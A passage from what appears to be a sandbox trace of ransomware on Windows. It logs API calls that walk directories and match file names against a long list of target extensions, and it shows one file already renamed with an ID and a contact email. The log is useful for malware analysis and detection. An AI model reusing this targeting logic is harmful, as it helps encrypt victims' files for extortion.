lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".flv") returned 4 [0100.337] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".frm") returned 4 [0100.337] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".fxg") returned 4 [0100.337] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".geo") returned 4 [0100.337] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".gif") returned 4 [0100.337] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".grs") returned 4 [0100.338] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".gz") returned 3 [0100.338] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.338] lstrlenW (lpString=".h") returned 2 [0100.338] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.338] lstrlenW (lpString=".hdr") returned 4 [0100.338] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".hpp") returned 4 [0100.338] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".hta") returned 4 [0100.338] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".htc") returned 4 [0100.338] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".htm") returned 4 [0100.338] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".html") returned 5 [0100.338] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.338] lstrlenW (lpString=".icb") returned 4 [0100.338] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".ics") returned 4 [0100.338] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".iff") returned 4 [0100.338] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.338] lstrlenW (lpString=".inc") returned 4 [0100.338] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".indd") returned 5 [0100.339] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.339] lstrlenW (lpString=".ini") returned 4 [0100.339] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".iqy") returned 4 [0100.339] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".j2c") returned 4 [0100.339] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".j2k") returned 4 [0100.339] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".java") returned 5 [0100.339] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.339] lstrlenW (lpString=".jp2") returned 4 [0100.339] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".jpc") returned 4 [0100.339] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".jpe") returned 4 [0100.339] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".jpeg") returned 5 [0100.339] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.339] lstrlenW (lpString=".jpf") returned 4 [0100.339] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".jpg") returned 4 [0100.339] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".jpx") returned 4 [0100.339] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.339] lstrlenW (lpString=".js") returned 3 [0100.339] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.340] lstrlenW (lpString=".jsf") returned 4 [0100.340] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".json") returned 5 [0100.340] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.340] lstrlenW (lpString=".jsp") returned 4 [0100.340] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".kdc") returned 4 [0100.340] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".kmz") returned 4 [0100.340] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".kwm") returned 4 [0100.340] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".lasso") returned 6 [0100.340] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.340] lstrlenW (lpString=".lbi") returned 4 [0100.340] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".lgf") returned 4 [0100.340] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".lgp") returned 4 [0100.340] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".log") returned 4 [0100.340] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".m1v") returned 4 [0100.340] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".m4a") returned 4 [0100.340] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.340] lstrlenW (lpString=".m4v") returned 4 [0100.341] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".max") returned 4 [0100.341] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".md") returned 3 [0100.341] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.341] lstrlenW (lpString=".mda") returned 4 [0100.341] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mdb") returned 4 [0100.341] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mde") returned 4 [0100.341] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mdf") returned 4 [0100.341] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mdw") returned 4 [0100.341] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mef") returned 4 [0100.341] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mft") returned 4 [0100.341] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mfw") returned 4 [0100.341] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mht") returned 4 [0100.341] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.341] lstrlenW (lpString=".mhtml") returned 6 [0100.341] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.341] lstrlenW (lpString=".mka") returned 4 [0100.341] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mkidx") returned 6 [0100.342] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.342] lstrlenW (lpString=".mkv") returned 4 [0100.342] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mos") returned 4 [0100.342] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mov") returned 4 [0100.342] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mp3") returned 4 [0100.342] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mp4") returned 4 [0100.342] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mpeg") returned 5 [0100.342] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.342] lstrlenW (lpString=".mpg") returned 4 [0100.342] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mpv") returned 4 [0100.342] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mrw") returned 4 [0100.342] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".msg") returned 4 [0100.342] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".mxl") returned 4 [0100.342] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".myd") returned 4 [0100.342] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.342] lstrlenW (lpString=".myi") returned 4 [0100.343] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".nef") returned 4 [0100.343] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".nrw") returned 4 [0100.343] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".obj") returned 4 [0100.343] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".odb") returned 4 [0100.343] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".odc") returned 4 [0100.343] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".odm") returned 4 [0100.343] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".odp") returned 4 [0100.343] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".ods") returned 4 [0100.343] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".oft") returned 4 [0100.343] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".one") returned 4 [0100.343] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".onepkg") returned 7 [0100.343] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.343] lstrlenW (lpString=".onetoc2") returned 8 [0100.343] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.343] lstrlenW (lpString=".opt") returned 4 [0100.343] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.343] lstrlenW (lpString=".oqy") returned 4 [0100.344] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".orf") returned 4 [0100.344] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".p12") returned 4 [0100.344] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".p7b") returned 4 [0100.344] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".p7c") returned 4 [0100.344] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pam") returned 4 [0100.344] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pbm") returned 4 [0100.344] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pct") returned 4 [0100.344] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pcx") returned 4 [0100.344] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pdd") returned 4 [0100.344] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pdf") returned 4 [0100.344] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pdp") returned 4 [0100.344] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pef") returned 4 [0100.344] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pem") returned 4 [0100.344] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.344] lstrlenW (lpString=".pff") returned 4 [0100.345] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".pfm") returned 4 [0100.345] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".pfx") returned 4 [0100.345] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".pgm") returned 4 [0100.345] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".php") returned 4 [0100.345] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".php3") returned 5 [0100.345] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.345] lstrlenW (lpString=".php4") returned 5 [0100.345] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.345] lstrlenW (lpString=".php5") returned 5 [0100.345] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.345] lstrlenW (lpString=".phtml") returned 6 [0100.345] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.345] lstrlenW (lpString=".pict") returned 5 [0100.345] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.345] lstrlenW (lpString=".pl") returned 3 [0100.345] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.345] lstrlenW (lpString=".pls") returned 4 [0100.345] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".pm") returned 3 [0100.345] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.345] lstrlenW (lpString=".png") returned 4 [0100.345] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.345] lstrlenW (lpString=".pnm") returned 4 [0100.346] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".pot") returned 4 [0100.346] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".potm") returned 5 [0100.346] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.346] lstrlenW (lpString=".potx") returned 5 [0100.346] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.346] lstrlenW (lpString=".ppa") returned 4 [0100.346] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".ppam") returned 5 [0100.346] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.346] lstrlenW (lpString=".ppm") returned 4 [0100.346] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".pps") returned 4 [0100.346] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".ppsm") returned 5 [0100.346] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.346] lstrlenW (lpString=".ppt") returned 4 [0100.346] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".pptm") returned 5 [0100.346] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.346] lstrlenW (lpString=".pptx") returned 5 [0100.346] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.346] lstrlenW (lpString=".prn") returned 4 [0100.346] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.346] lstrlenW (lpString=".ps") returned 3 [0100.346] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.346] lstrlenW (lpString=".psb") returned 4 [0100.347] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".psd") returned 4 [0100.347] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".pst") returned 4 [0100.347] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".ptx") returned 4 [0100.347] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".pub") returned 4 [0100.347] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".pwm") returned 4 [0100.347] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".pxr") returned 4 [0100.347] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".py") returned 3 [0100.347] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.347] lstrlenW (lpString=".qt") returned 3 [0100.347] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.347] lstrlenW (lpString=".r3d") returned 4 [0100.347] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".raf") returned 4 [0100.347] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.347] lstrlenW (lpString=".rar") returned 4 [0100.347] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.348] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.348] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7469af6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7469af6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0100.348] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa7469af6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa7469af6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0100.348] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.348] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0100.348] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0100.348] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0100.348] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26 [0100.349] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50240 [0100.349] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa7659958, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.349] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.349] lstrlenW (lpString="eula.rtf") returned 8 [0100.349] lstrlenW (lpString=".1cd") returned 4 [0100.349] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.349] lstrlenW (lpString=".3ds") returned 4 [0100.349] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.349] lstrlenW (lpString=".3fr") returned 4 [0100.349] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.349] lstrlenW (lpString=".3g2") returned 4 [0100.349] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.349] lstrlenW (lpString=".3gp") returned 4 [0100.349] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.349] lstrlenW (lpString=".7z") returned 3 [0100.349] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.349] lstrlenW (lpString=".accda") returned 6 [0100.349] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.349] lstrlenW (lpString=".accdb") returned 6 [0100.349] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.350] lstrlenW (lpString=".accdc") returned 6 [0100.350] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.350] lstrlenW (lpString=".accde") returned 6 [0100.350] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.350] lstrlenW (lpString=".accdt") returned 6 [0100.350] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.350] lstrlenW (lpString=".accdw") returned 6 [0100.350] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.350] lstrlenW (lpString=".adb") returned 4 [0100.350] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".adp") returned 4 [0100.350] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".ai") returned 3 [0100.350] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.350] lstrlenW (lpString=".ai3") returned 4 [0100.350] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".ai4") returned 4 [0100.350] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".ai5") returned 4 [0100.350] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".ai6") returned 4 [0100.350] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".ai7") returned 4 [0100.350] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".ai8") returned 4 [0100.350] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.350] lstrlenW (lpString=".anim") returned 5 [0100.350] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.351] lstrlenW (lpString=".arw") returned 4 [0100.351] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".as") returned 3 [0100.351] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.351] lstrlenW (lpString=".asa") returned 4 [0100.351] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".asc") returned 4 [0100.351] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".ascx") returned 5 [0100.351] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.351] lstrlenW (lpString=".asm") returned 4 [0100.351] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".asmx") returned 5 [0100.351] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.351] lstrlenW (lpString=".asp") returned 4 [0100.351] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".aspx") returned 5 [0100.351] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.351] lstrlenW (lpString=".asr") returned 4 [0100.351] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".asx") returned 4 [0100.351] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".avi") returned 4 [0100.351] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".avs") returned 4 [0100.351] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.351] lstrlenW (lpString=".backup") returned 7 [0100.352] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.352] lstrlenW (lpString=".bak") returned 4 [0100.352] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".bay") returned 4 [0100.352] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".bd") returned 3 [0100.352] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.352] lstrlenW (lpString=".bin") returned 4 [0100.352] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".bmp") returned 4 [0100.352] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".bz2") returned 4 [0100.352] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".c") returned 2 [0100.352] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.352] lstrlenW (lpString=".cdr") returned 4 [0100.352] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".cer") returned 4 [0100.352] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".cf") returned 3 [0100.352] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.352] lstrlenW (lpString=".cfc") returned 4 [0100.352] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".cfm") returned 4 [0100.352] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.352] lstrlenW (lpString=".cfml") returned 5 [0100.352] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned 